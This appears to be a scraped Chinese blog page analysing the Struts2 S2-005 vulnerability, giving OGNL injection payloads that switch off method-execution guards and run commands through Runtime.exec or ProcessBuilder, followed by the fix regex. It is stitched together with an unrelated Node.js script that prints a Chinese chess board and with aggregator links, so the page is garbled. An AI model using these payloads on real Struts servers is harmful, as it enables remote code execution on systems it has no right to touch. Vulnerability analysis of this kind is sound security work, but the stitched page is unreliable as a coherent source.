S2 005

Posted 王嘟嘟_

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了S2 005相关的知识,希望对你有一定的参考价值。

0x00 前言

S2 005 是在S2 003 的基础上进行绕过的,可以先看Struts2 003

0x01 环境

Demo地址:https://github.com/xhycccc/Struts2-Vuln-Demo

启动后的内容:

0x02 漏洞分析

1.静态绕过

首先是在OgnlValueStack进行setRoot操作

在这里设置别名
位置:lib\\ognl-3.0.1.jar!\\ognl\\OgnlContext.class别名为:_memberAccess
通过_memberAccess可以设置acceptProperties为true,从而解除静态执行状态

首先设置denyMethodExecution

('\\u0023context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\u003dfalse')(a)(b)

然后设置acceptProperties

('\\u0023_memberAccess.allowStaticMethodAccess\\u003dtrue')(a)(b)

接着设置:excludeProperties

('\\u0023_memberAccess.excludeProperties\\u003d@java.util.Collections@EMPTY_SET')(a)(b)

最后设置执行内容:

('\\u0023m\\u003d@java.lang.Runtime@getRuntime().exec(\\'calc\\')')(a)(b)

2.动态绕过

不让执行静态方法,执行动态方法

首先设置denyMethodExecution

('\\u0023context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\u003dfalse')(a)(b)

然后直接执行代码

("\\u0023m\\u003dnew java.lang.ProcessBuilder(new java.lang.String[]'calc').start()")(a)(b)

0x03 修复

高版本通过private String acceptedParamNames = "[a-zA-Z0-9\\\\.\\\\]\\\\[\\\\(\\\\)_'\\\\s]+";来进行严格的匹配

象棋相关

控制台打印棋盘:

 

代码如下:

var util = require('util');

str = "\\
 1   2   3   4   5   6   7   8   9\\n\\
 %s━━%s━━%s━━%s━━%s━━%s━━%s━━%s━━%s \\n \\
┃   │   │   │ ╲ │ ╱ │   │   │   ┃ \\n \\
%s──%s──%s──%s──%s──%s──%s──%s──%s \\n \\
┃   │   │   │ ╱ │ ╲ │   │   │   ┃ \\n \\
%s──%s──%s──%s──%s──%s──%s──%s──%s \\n \\
┃   │   │   │   │   │   │   │   ┃ \\n \\
%s──%s──%s──%s──%s──%s──%s──%s──%s \\n \\
┃   │   │   │   │   │   │   │   ┃ \\n \\
%s──%s──%s──%s──%s──%s──%s──%s──%s \\n \\
┃     楚河             汉界     ┃ \\n \\
%s──%s──%s──%s──%s──%s──%s──%s──%s \\n \\
┃   │   │   │   │   │   │   │   ┃ \\n \\
%s──%s──%s──%s──%s──%s──%s──%s──%s \\n \\
┃   │   │   │   │   │   │   │   ┃ \\n \\
%s──%s──%s──%s──%s──%s──%s──%s──%s \\n \\
┃   │   │   │ ╲ │ ╱ │   │   │   ┃ \\n \\
%s──%s──%s──%s──%s──%s──%s──%s──%s \\n \\
┃   │   │   │ ╱ │ ╲ │   │   │   ┃ \\n \\
%s━━%s━━%s━━%s━━%s━━%s━━%s━━%s━━%s \\n \\
九  八  七  六  五  四  三  二  一\\
";

dict = '一':1, '二':2, '三':3, '四':4, '五':5, '六':6, '七':7, '八':8, '九':9
var bIdx = function(sidx) 
    return  (sidx[1]-'1')*9 + (sidx[0] - '1')

var rIdx = function(sidx) 
    return (9-(sidx[1]-'1'))*9 + 9 - dict[sidx[0]];

var doPrint = (blue, red) =>
    // https://www.wikiwand.com/en/Box-drawing_character
    chess = [
        "┏━", "┯━", "┯━", "┯━", "┯━", "┯━", "┯━", "┯━", "┓",
        "┠─", "┼─", "┼─", "┼─", "┼─", "┼─", "┼─", "┼─", "┨", 
        "┠─", "╬─", "┼─", "┼─", "┼─", "┼─", "┼─", "╬─", "┨", 
        "╠─", "┼─", "╬─", "┼─", "╬─", "┼─", "╬─", "┼─", "╣",
        "┠─", "┴─", "┴─", "┴─", "┴─", "┴─", "┴─", "┴─", "┨",
        "┠─", "┬─", "┬─", "┬─", "┬─", "┬─", "┬─", "┬─", "┨",
        "╠─", "┼─", "╬─", "┼─", "╬─", "┼─", "╬─", "┼─", "╣",
        "┠─", "╬─", "┼─", "┼─", "┼─", "┼─", "┼─", "╬─", "┨",
        "┣─", "┼─", "┼─", "┼─", "┼─", "┼─", "┼─", "┼─", "┨",
        "┗━", "┷━", "┷━", "┷━", "┷━", "┷━", "┷━", "┷━", "┛"];
    blue.forEach(e => 
        chess[bIdx(e[1])] = "\\033[36m" + e[0] + "\\033[0m";
    );
    red.forEach(e => 
        chess[rIdx(e[1])] = "\\033[31m" + e[0] + "\\033[0m";
    );
    rr = util.format.apply(util,[str].concat(chess))
    console.log(rr);
    console.log("\\n");


doPrint([
    ["車", "11"], ["馬", "21"], ["象", "31"], ["士", "41"], ["將", "51"], ["士", "61"], ["象", "71"], ["馬", "73"], ["車", "81"],
    ["砲", "23"], ["砲", "83"],
    ["卒", "14"], ["卒", "34"], ["卒", "54"], ["卒", "74"], ["卒", "94"],
],[
    ["兵", "九4"], ["兵", "七5"], ["兵", "五4"], ["兵", "三4"], ["兵", "一4"],
    ["炮", "八3"], ["炮", "五3"], 
    ["俥", "九1"], ["傌", "八1"], ["相", "七1"], ["仕", "六1"], ["帥", "五1"],["仕", "四1"], ["相", "三1"], ["傌", "二1"], ["俥", "一1"],
]);

doPrint( [
    ["象", "53"], ["將", "42"], ["卒", "56"]
],[
    ["兵", "六7"], ["兵", "四7"],["相", "七1"], ["帥", "五1"]
]);

doPrint( [
    ["將", "61"], ["士", "52"], ["士", "43"],["砲", "42"]
],[
    ["帥", "五1"], ["相", "七1"], ["傌", "二5"], ["傌", "八7"],  
]);

doPrint( [
    ["將", "41"], ["士", "52"], ["士", "63"], ["象", "71"], ["象", "53"]
],[
    ["帥", "五3"], ["仕", "四3"], ["炮", "六2"], ["炮", "二1"], 
]);

 

以上是关于S2 005的主要内容,如果未能解决你的问题,请参考以下文章

S2 005

JSP与Servlet技术

java web005——请求转发与重定向

002SpringIOC005完全注解开发

SPRING IN ACTION 第4版笔记-第六章RENDERING WEB VIEWS-005- 使用ApacheTiles(TilesConfigurerTilesViewResolver&(代

扩展 Spring Framework (Java) Servlet